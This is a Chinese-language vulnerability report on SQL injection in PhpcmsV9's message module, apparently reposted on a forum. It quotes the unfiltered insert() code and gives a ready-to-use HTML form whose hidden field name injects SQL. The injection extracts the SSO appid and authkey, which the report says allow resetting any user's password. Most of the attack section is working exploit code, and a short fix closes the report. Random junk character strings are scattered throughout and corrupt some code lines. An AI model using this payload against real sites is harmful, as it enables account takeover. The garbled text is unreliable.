PhpcmsV9 SQL注射修改任意用户密码漏洞

admin

简要描述：
* m9 m" f+ W& Y9 c' H/ @6 z
第二发如约来到，感谢大家的关注，在第二发中使用了一个无限制的SQL注射，最终目的可以修改任意用户密码，建议确认安全危害等级为高。
0 C8 U$ n! M/ e* Y$ x. @  R
明天再更新下一个漏洞。
详细说明：
0 g$ s5 |, J: i/ A/ H; l在/phpcms9/phpcms/modules/message/index.php中有代码如下：

7 u, q9 u  v7 v7 z6 _$messageid = $this->message_db->insert($_POST['info'],true);

: E9 x: a- r7 M" _2 n! f
, L/ m0 H3 |" v- E; W) p0 ~insert方法是key value的，代码如下：
- ^( g2 g3 |* w6 O* y+ P! k
public function insert($data, $table, $return_insert_id = false, $replace = false) {
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
: u3 g2 {5 V8 M3 X. p5 R                        return false;
                }
# i& o( D$ A& d/ o8 k               
                $fielddata = array_keys($data);
                $valuedata = array_values($data);
                array_walk($fielddata, array($this, 'add_special_char'));
                array_walk($valuedata, array($this, 'escape_string'));
1 U2 l4 {( ^# `6 d5 K7 J               
                $field = implode (',', $fielddata);
                $value = implode (',', $valuedata);
$ e' ~' c7 O! x" [
& k: ~, y' ?* @$ @/ x                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
% v3 Z0 R0 S) m0 l- d                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
  v: `8 _/ S: G+ {% j( C                $return = $this->execute($sql);
* z- Z! D- M; N) c5 `! t" X. t* g                return $return_insert_id ? $this->insert_id() : $return;
        }
( |" M7 K0 h/ ^
) r( C% C9 r. Z# ~
; o4 c3 ^* l6 d0 W, k! C嗯，很遗憾的是

7 q0 H% V( f" [. w2 W& C( x% Larray_walk($fielddata, array($this, 'add_special_char'));
, O3 n4 G8 K/ L2 c

) i. T6 Y& d& o0 Y中并没有对key做任何的过滤，所以，第一段提到的代码导致了一个SQL注射漏洞 ：（。

到此，为了poc一下，我读取了我本地的authkey，接下来我已经可以重置任意用户密码了，后面的事情我就没有演示了。

漏洞证明：
读出了phpsso_server的appid和authkey，然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。


- H9 j7 e9 A& L4 z, ?表单如下：用户名什么的得自己改一改。
$ W6 A! x1 \% {% z6 K<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
<table width="100%" cellspacing="0" class="table_form">
<tr>
<th>标 题：</th>
; A0 b" e2 o6 p7 X<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
8 o$ I6 ?7 q/ d</tr>
; Z* a* T$ M- Y3 i" |% k<tr>
# i/ Y8 v+ h! E6 c9 a+ p4 h<th>内 容：</th>
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
</tr>
<input type="hidden" name="info[replyid]" value="2" />
<input type="hidden" name="info[send_to_id]" value="cc" />
<input type="hidden" name="info[send_from_id]" value="hh">
7 b4 y/ w" ?- B<!-- 漏洞的利用重点在这里开始 -->
' }# |7 ]- }8 S; R" l# Z<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
) x2 m# Y# B# Y% |) b' b<!-- 漏洞的利用重点在这里结束 -->
<tr>
<th>验证码：</th>
6 h# G. @* n( [<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
# P6 V  ~& t0 L1 E# L% U: w</tr>
4 G: ~3 X3 \2 ^<tr>
$ y. Q# `( J1 H1 \7 @- X3 K<td></td>
; o, f$ [2 u2 `$ ~3 O$ Q. K' F<td colspan="2"><label>
6 ?8 T; X& h! H2 A<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
; O  ~( V: ~8 S0 D4 B% Y</label></td>
" {; F% ~0 Y; f! n) Y5 E</tr>
</table>
</form>
, ^: x8 _& X) c8 ^; ?# N7 k: F在add_special_char函数内对key做过滤就可以了。
3 x* ?, O- i2 n4 g

- n9 o% _  |; T0 }9 g8 o